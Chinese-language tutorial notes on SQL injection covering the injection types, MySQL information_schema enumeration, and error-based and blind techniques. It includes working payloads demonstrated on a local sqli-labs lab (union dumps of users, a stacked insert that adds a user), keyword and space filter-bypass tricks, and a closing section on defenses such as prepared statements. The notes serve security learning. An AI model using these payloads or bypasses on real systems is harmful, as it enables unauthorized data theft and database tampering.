SQL 注入複習總結

一、介紹


1.什麼是SQL注入?

sql 注入是一種將 sql 程式碼添加到輸入參數中,傳遞到 sql 伺服器解析並執行的一種攻擊手法。

2.SQL注入的原理

SQL 是操作資料庫數據的結構化查詢語言,網頁的應用數據和後台資料庫中的數據進行交互時會採用 SQL。而 SQL 注入是將 Web 頁面的原 URL、表單域或數據包輸入的參數,修改拼接成 SQL 語句,傳遞給 Web 伺服器,進而傳給資料庫伺服器以執行資料庫命令。

3.形成SQL注入的原因

用戶輸入的數據被 SQL 解釋器執行。

4.SQL注入的危害

1、攻擊者未經授權可以訪問資料庫中的數據,盜取用戶的隱私以及個人資訊,造成用戶的資訊泄露。
2、通過操作資料庫對某些網頁進行篡改;
3、修改資料庫一些欄位的值,嵌入網馬鏈接,進行掛馬攻擊。
4、伺服器被遠程控制,被安裝後門。可以對資料庫的數據進行增加或刪除操作,例如私自添加或刪除管理員帳號。
5、資料庫被惡意操作:資料庫伺服器被攻擊,資料庫的系統管理員帳戶被篡改。
6、破壞硬碟數據,導致全系統癱瘓。

5.SQL注入基本知識

註:以下命令語句均基於 MySQL 資料庫

(1)增刪改查語句

增 Insert

基本語法 INSERT INTO 表名稱 VALUES (值1, 值2,....)
例子 insert into student(name,sex,age) values('張三',18,'男')

刪 delete

基本語法 DELETE FROM 表名稱 WHERE 列名稱 = 值
例子 delete from student where id=1
改 update

基本語法 UPDATE 表名稱 SET 列名稱 = 新值 WHERE 列名稱 = 某值
列子 update student set name = '張三' where id=1

查 select

基本語法 SELECT 列名稱 FROM 表名稱
例子 select * from student

(2)系統函數

  • version()——MySQL 版本
  • user()——資料庫用戶名
  • database()——資料庫名
  • @@datadir——資料庫路徑
  • @@version_compile_os——作業系統版本

(3)字元串連接函數

concat(str1,str2,...)沒有分隔符地連接字元串
concat_ws(separator,str1,str2,...)含有分隔符地連接字元串
group_concat(str1,str2,...)連接一個組的所有字元串,並以逗號分隔每一條數據

(4)一般流程

Mysql 有一個系統資料庫 information_schema,存儲著所有的資料庫的相關資訊,一般的, 我們利用該表可以進行一次完整的注入。以下為一般的流程。
猜資料庫
select schema_name from information_schema.schemata

猜某庫的數據表
select table_name from information_schema.tables where table_schema=』xxxxx』

猜某表的所有列
Select column_name from information_schema.columns where table_name=』xxxxx』

獲取某列的內容
Select *** from ****

二、分類


根據輸入參數分為

  • 數字型注入
  • 字元型注入

根據注入技巧分為

  • 聯合注入
  • 盲注
  • 堆疊注入
  • 報錯注入
  • 二次注入
  • 寬位元組注入

根據提交類型分為

  • GET 注入
  • POST 注入
  • COOKIE 注入
  • HTTP 頭部注入

1.根據輸入參數分類的 SQL 注入

(1)數字型注入

我們經常可以看到這樣的 url //xxx.com/users.php?id=1 基於此種形式的注入,一般被叫做數字型注入,這是因為其注入點 id 類型為數字。這一類的 SQL 語句原型一般為 select * from 表名 where id=1。

(2)字元型注入

我們有時又會看到這樣的 url //xxx.com/users.php?name=admin 基於此種形式的注入,一般被叫做字元型注入,這是因為其注入點 name 類型為字元串。這一類的 SQL 語句原型一般為 select * from 表名 where name=’admin’

2.根據注入技巧分類的 SQL 注入

(1)聯合注入

什麼是聯合注入?

聯合注入顧名思義,就是使用聯合查詢進行注入的一種方式,是一種高效的注入的方式,適用於有回顯同時資料庫軟體版本是5.0以上的 MYSQL 資料庫。

union 操作符介紹

UNION 操作符用於合併兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。

聯合注入演示

使用 sqli-labs less1 進行聯合注入的流程演示

爆資料庫

//127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
image

爆 security 資料庫的數據表

//127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
image

爆 users 表的列

//127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
image

爆數據

//127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(username),3 from users--+
image

(2)盲注

什麼是盲注?

盲注就是在注入過程中,獲取的數據不能回顯至前端頁面。此時我們需要利用一些方法進行判斷或嘗試,這個過程稱為盲注

盲注的分類

a.布爾盲注

什麼是布爾盲注?

布爾盲注是指利用頁面返回的對錯資訊來間接推測資料庫中的資訊的一種手段。(構造邏輯判斷)

適用條件:布爾盲注一般適用於頁面沒有回顯欄位(不支援聯合查詢),且 web 頁面返回 True 或者 false 時。

常用函數

截取函數:left() right() substr() mid()
轉換函數:ascii() hex()
比較函數:if()
b.時間盲注

什麼是時間盲注?

時間盲注又稱延時注入,指通過頁面執行的時間來判斷數據內容的注入方式。

什麼時候使用?

當注入時,無論我們傳入什麼值,網頁正常或報錯都顯示一種頁面時,那麼網頁的是否正常顯示將不是我們用來判斷是否注入成功的依據,就要用基於時間的盲注。

方法:通過if判斷語句與 sleep 函數結合,通過網站訪問的響應時間來判斷sql語句的正確性

示例:if(left(database(),1)='s',0,sleep(3))
這段 payload 的含義是如果資料庫的第一位為’s’時,網頁正常執行,否則延時3秒

c.報錯盲注

什麼是報錯盲注?

是指通過構造特定的SQL語句,讓攻擊者想要查詢的資訊通過頁面的錯誤提示回顯出來的注入方式

什麼時候使用:當正常的回顯注入無法顯示結果,網頁可以顯示報錯資訊時,就可以使用報錯注入

常見的報錯函數

1)floor 報錯注入

在進行報錯注入時,floor()函數一般需要與rand()、count()、group by聯用。

示例

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a

原理

rand() 隨機產生0~1的數值,floor() 向下取整,所以 floor(rand()*2結果是0或1。

group by 用於分組,當同時執行count和group by函數時,MYSQL會創建一個虛擬表,虛擬表進行計數和分組。在執行group by語句的時候,group by語句後面的欄位會被運算兩次。

floor會報錯的原因就是group by在向臨時表插入數據時,插入重複主鍵導致的報錯,又因為報錯之前concat()里的語句已經執行過了,所以會直接爆出concat函數里執行後的結果

2)exp 報錯注入

示例

select exp(~(select * FROM(SELECT USER())a))

原理

exp()即為以e為底的對數函數,exp中的函數成功執行後返回0,對0按位取反會返回一個無符號的BIGINT值,所以會造成Double型數據溢出錯誤從而報錯,藉此得到數據。

3)extractvalue 和 updatexml 報錯注入

示例

extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

原理

當使用 extractvalue(xml_frag, xpath_expr) 函數時,若 xpath_expr 參數不符合 xpath 格式,就會報錯。而 ~ 符號(ascii 編碼值:0x7e)是不存在 xpath 格式中的, 所以一旦在 xpath_expr 參數中使用 ~ 符號,就會產生 xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。
updatexml同理

(3)堆疊注入

什麼是堆疊注入?

顧名思義,堆疊注入就是將一堆 sql 語句疊加在一起執行,使用分號結束上一個語句再疊加其他語句一起執行。

堆疊注入產生的原因?

伺服器在訪問數據端時使用了可同時執行多條 sql 語句的方法,比如 php 中的mysqli_multi_query()函數

聯合注入與堆疊注入的區別

union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別么?區別就在於 union 或者 union all 執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。

堆疊注入演示

使用 sqli-labs 進行演示

可以直接構造如下的 payload:

//127.0.0.1/sqli-labs-master/Less-38/index.php?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

image

打開 phpMyAdmin 可以看到 sql 語句被成功執行,用戶成功添加

image

(4)二次注入

什麼是二次注入?

二次注入是指已存儲(資料庫、文件)的用戶輸入被讀取後,再次進入到SQL查詢語句中導致的注入。

二次注入流程

第一步:插入惡意數據
第二步:引用惡意數據

二次注入演示

使用 sqli-labs less24 進行演示

image

查看當前用戶,可以看到 admin 的初始密碼為123

image

註冊用戶名為 admin』# 的帳號

image

image

登錄 admin』#,並修改密碼為 666666

image

如圖 admin 的密碼被修改

image

(5)寬位元組注入

什麼是寬位元組?

當某字元的大小為一個位元組時,稱其字元為窄位元組.當某字元的大小為兩個位元組時,稱其字元為寬位元組.所有英文默認佔一個位元組,漢字佔兩個位元組

轉義函數
為了過濾用戶輸入的一些數據,對特殊的字元加上反斜杠「\」進行轉義;Mysql中轉義的函數包括 addslashes,mysql_real_escape_string,mysql_escape_string 等,還有一種是配置magic_quote_gpc(魔術引號),不過 PHP 高版本已經移除此功能。

寬位元組注入原理?

我們在注入過程中,輸入語句中的特殊字元會被 addslashes()這類轉義函數進行轉義,但 MySQL 採用了 gbk 編碼,會將兩個位元組看作一個漢字,例如,\ 的 URL 編碼是%5c 當用戶加上 %df 形成 %df%5c 資料庫會自動將 %df%5c 識別成漢字,從而將 \ 閉合,起到了繞過轉義的效果,這樣即可實現注入攻擊。

3.根據提交類型分類的 SQL 注入

(1)GET 注入

什麼是 GET 注入?

GET 注入:通過 GE T傳參的方式,傳輸惡意語句,進行 SQL 注入

GE T注入介紹

提交數據的方式是 GET,注入點的位置在 GET 參數部分。比如有這樣的一個鏈接//xxx.com/news.php?id=1,其中id是注入點。

(2)POST 注入

什麼是 POST 注入?

POST注入:通過POST傳參的方式,傳輸惡意語句,進行SQL注入,本質和GET注入是一樣的

POST 注入介紹

使用 POST 方式提交數據,注入點位置在 POST 數據部分,常發生在表單中。

(3)COOKIE 注入

什麼是 COOKIE 注入?

修改 cookie 的值進行注入的方式

COOKIE 注入介紹

HTTP請求的時候會帶上客戶端的Cookie,注入點存在Cookie當中的某個欄位中。

(4)HTTP 頭部注入

什麼是 HTTP 頭部注入?

一般獲取頭部的資訊用於數據分析,通過請求頭部可以向資料庫發送查詢資訊,構造惡意語句可以對資料庫進行資訊查詢。

HTTP 頭部注入介紹

注入點在HTTP請求頭部的某個欄位中。比如存在User-Agent欄位中。嚴格講的話,Cookie其實應該也是算頭部注入的一種形式。因為在HTTP請求的時候Cookie是頭部的一個欄位。

三、繞過


關鍵字通用繞過思路

1. 雙寫繞過關鍵字過濾

2. 使用同義函數/語句代替

如if函數可用如下語句代替
case when condition then 1 else 0 end

3. 預處理,或其他手段造成字元串拼接來繞過

1';set @a=concat("sel","ect * from users");prepare sql from @a;execute sql;

4. 大小寫變換

-1' UnIoN SeLeCt 1,2,database()--+

5. 編碼繞過
使用URL編碼對輸入語句進行加密,然後伺服器端會對其進行解密。

6. 內聯注釋繞過

內聯注釋就是把一些特有的僅在MYSQL上的語句放在 /!…/ 中,這樣這些語句如果在其它資料庫中是不會被執行,但在MYSQL中會執行。

常見關鍵字繞過思路

1. and/or 被過濾/攔截

(1)雙寫anandd、oorr

(2)使用運算符代替&&、||

(3)直接拼接=號,如:?id=1=(condition)

(4)其他方法,如:?id=1^(condition)

2. 空格被過濾/攔截

(1)注釋繞過空格

示例:
select/**/user()/**/from/**/dual

(2)括弧繞過空格

示例:select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());#
(3)Tab 代替空格

(4)使用兩個空格

(5)使⽤其他不可⻅字元代替空格

如 %09, %0a, %0b, %0c, %0d, %a0

3. 逗號被過濾/攔截

(1)改用盲注

(2)使用 join 語句代替

示例:
union select * from ((select 1)A join (select 2)B join (select 3)C);

(3)使用 substring 函數

substring(str FROM pos)

4. 單雙引號被過濾/攔截/轉義

(1)需要跳出單引號的情況:嘗試是否存在編碼問題而產生的SQL注入(寬位元組注入等)

(2)不需要跳出單引號的情況:字元串可用十六進位表示、也可通過進位轉換函數表示成其他進位。

5. 比較符號(= < >)被過濾/攔截

(1)使用 in() 繞過

示例:
?id=' or substr((select database()),1,1) in('s')

(2)greatest,strcmp 等函數進行繞過

示例:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

select strcmp(left(database(),1),0x32);#lpad('asd',2,0)

四、防禦


SQL注入危害雖大,但是可以完全杜絕

1.嚴格的數據類型

在傳入參數的地方限制參數的類型,比如整型 Integer,隨後加入函數判斷,如is_numeric($_GET[『id』]) 只有當 get 到的 id 為數字或者數字字元時才能執行下一步。但這種方法存在一定的限制,只能在特定的頁面才能使用,一般大部分都是要求我們傳入的字元串,但可以很大程度限制整型注入的情況。

2.特殊字元轉義

數字型注入可以通過檢查數據類型防禦,字元型則需要對特殊字元進行轉義。在 MySQL 中我們需要對” ‘進行轉義,這樣可以防止惡意攻擊者來閉合語句。我們通常使用 addslashes() 等安全函數來轉義特殊字元。

3.使用預編譯語句

當一條 SQL 語句執行前,需要先進行語法分析。如果沒有使用預編譯的方法來執行 SQL,那麼每次在執行 SQL 時都需要先進行語法分析,然後再執行。此時進行 SQL 注入,惡意的程式碼(payload)拼接上 SQL 語句之後才會進行語法分析,其中 payload 中包含的關鍵字等內容便會被識別,因此會被成功執行。

而預編譯則是先在待傳入參數的位置增加佔位符(?),並對 SQL 語句進行語法分析和編譯,並將結果存入記憶體中等待調用。在調用時,傳入的參數會自動放入佔位符的位置,並執行 SQL 語句。此時如果進行注入,由於並沒有重新進行語法分析,payload 中包含的關鍵字等不會被識別,而是作為字元串的形式存在於語句中,因此 payload 不會成為 SQL 語句的一部分。

預編譯可以防止 sql 注入的原因:允許資料庫做參數化查詢。在使用參數化查詢的情況下,資料庫不會將參數的內容視為 SQL 執行的一部分,而是作為一個欄位的屬性值來處理,這樣就算參數中包含破環性語句(or 『1=1』)也不會被執行。